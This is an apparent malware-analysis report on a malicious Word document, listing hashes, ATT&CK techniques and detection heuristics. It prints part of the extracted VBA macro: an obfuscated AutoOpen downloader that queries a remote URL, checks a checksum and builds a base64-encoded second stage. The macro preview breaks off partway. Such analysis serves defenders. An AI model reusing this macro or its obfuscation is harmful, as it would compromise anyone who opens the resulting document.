Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c1ee094ca3ece8e7…

MALICIOUS

Office (OLE)

172.0 KB Created: 2018-02-09 20:47:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 11ada37d83d3800cf0b7a901f655e4da SHA-1: 87a4ee4bd771a1a2788276966c546ce64151df7e SHA-256: c1ee094ca3ece8e7a45ba38b98620e3f3521a025769c4a7e19cbea6a0c361c75
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols

The sample contains a VBA macro with an AutoOpen function that executes when the document is opened. This macro utilizes the 'Shell()' function and 'CreateObject("WinHttp.WinHttpRequest.5.1")' to download content from the URL "http://finance.google.com/finance/info?client=ig&q=NASDAQ%3". The downloaded content is then processed, and based on a checksum, it appears to trigger the execution of a second-stage payload. The presence of the 'Shell()' and 'CreateObject()' calls, along with the AutoOpen macro, strongly indicates a downloader or droppper functionality.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://finance.google.com/finance/info?client=ig&q=NASDAQ%3In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16683 bytes
SHA-256: e111c23059ca9afe364efa666b8a649b31b0e6da542a6eaa68194c4f382cd465
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "obsolete"
Sub AutoOpen()
Dim InsolvenceGravecloth As Object
Set InsolvenceGravecloth = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim CompassingSiderology As String
CompassingSiderology = ("http://finance.google.com/finance/info?client=ig&q=NASDAQ%3")
InsolvenceGravecloth.Open "GET", CompassingSiderology, False
InsolvenceGravecloth.send
SkimmedItatartrate = 0
For a = 1 To Len(InsolvenceGravecloth.responsetext)
    SkimmedItatartrate = SkimmedItatartrate + Asc(Mid(InsolvenceGravecloth.responsetext, a, 1))
Next
If SkimmedItatartrate = 9591 Then
    Dim AffectusCentenarian As String
    MonafoPneumatogenous = Array("a", "r", "c", "n", "e", "y", "i", "o", "s", " ", "d", "x", "-", "l", "b", "t", "h", "p", "u", "w")
    Dim AllophonicallyLeprosery As String
    AllophonicallyLeprosery = "ZgB1AG4AYwB0AGkAbwB"

    Dim AntichristCowpunch As String
    AntichristCowpunch = "uACAAYQ"

    Dim PantinglyOrigine As String
    PantinglyOrigine = "AoACQAeA"
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(17)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(7)
    Dim TurbanesqueFoirl As String
    TurbanesqueFoirl = "ApAHsAcgBlA"
    Dim ProemialTokay As String
    ProemialTokay = "HQAdQByAG"
    NonrepresentativelyOverchoke = NonrepresentativelyOverchoke & AllophonicallyLeprosery & AntichristCowpunch & PantinglyOrigine & TurbanesqueFoirl & ProemialTokay
    Dim ThongsTetracoralline As String
    ThongsTetracoralline = "4AIABbAFMAeQBzAHQAZQB"

    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(19)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(4)
    Dim WeislerChylocaulous As String
    WeislerChylocaulous = "tAC4AVAB"
    Dim UssctPetropavlovsk As String
    UssctPetropavlovsk = "lAHgAdAAuAEUAbgBj"
    Dim MizzensTanked As String
    MizzensTanked = "AG8AZABpAG4AZwBdA"
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(1)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(8)
    Dim AntheiaShrogs As String
    AntheiaShrogs = "DoAOgBVAFQA"

    NonrepresentativelyOverchoke = NonrepresentativelyOverchoke & ThongsTetracoralline & WeislerChylocaulous & UssctPetropavlovsk & MizzensTanked & AntheiaShrogs
    Dim HabitsAlienors As String
    HabitsAlienors = "RgA4AC4ARwBlAHQA"

    Dim WallpieceSyntactical As String
    WallpieceSyntactical = "UwB0AHI"
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(16)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(4)
    Dim CanzonettaPompholix As String
    CanzonettaPompholix = "AaQBuAGcAKABbAFMAeQ"
    Dim CallitricheStocklike As String
    CallitricheStocklike = "BzAHQAZQBtA"
    Dim PredestinarianRuralness As String
    PredestinarianRuralness = "C4AQwBvAG4AdgBlA"
    NonrepresentativelyOverchoke = NonrepresentativelyOverchoke & HabitsAlienors & WallpieceSyntactical & CanzonettaPompholix & CallitricheStocklike & PredestinarianRuralness
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(13)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(13)
    Dim BiakColossochelys As String
    BiakColossochelys = "HIAdABdAD"
    Dim PhlebarteriectasiaSemicomical As String
    PhlebarteriectasiaSemicomical = "oAOgBGAHIA"

    Dim RaunchierVmtp As String
    RaunchierVmtp = "bwBtAEI"

    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(9)
    AffectusCentenarian = AffectusCentenarian + MonafoPneumatogenous(12)
    Dim LogopedicMethinks As String
    LogopedicMethinks = "AYQBzAGUANgA0"
    Dim ForeprovidedEpilemma As String
    ForeprovidedEpilemma = "AFMAdAByAGkAbgBn"
    NonrepresentativelyOverchoke = NonrepresentativelyOverc
... (truncated)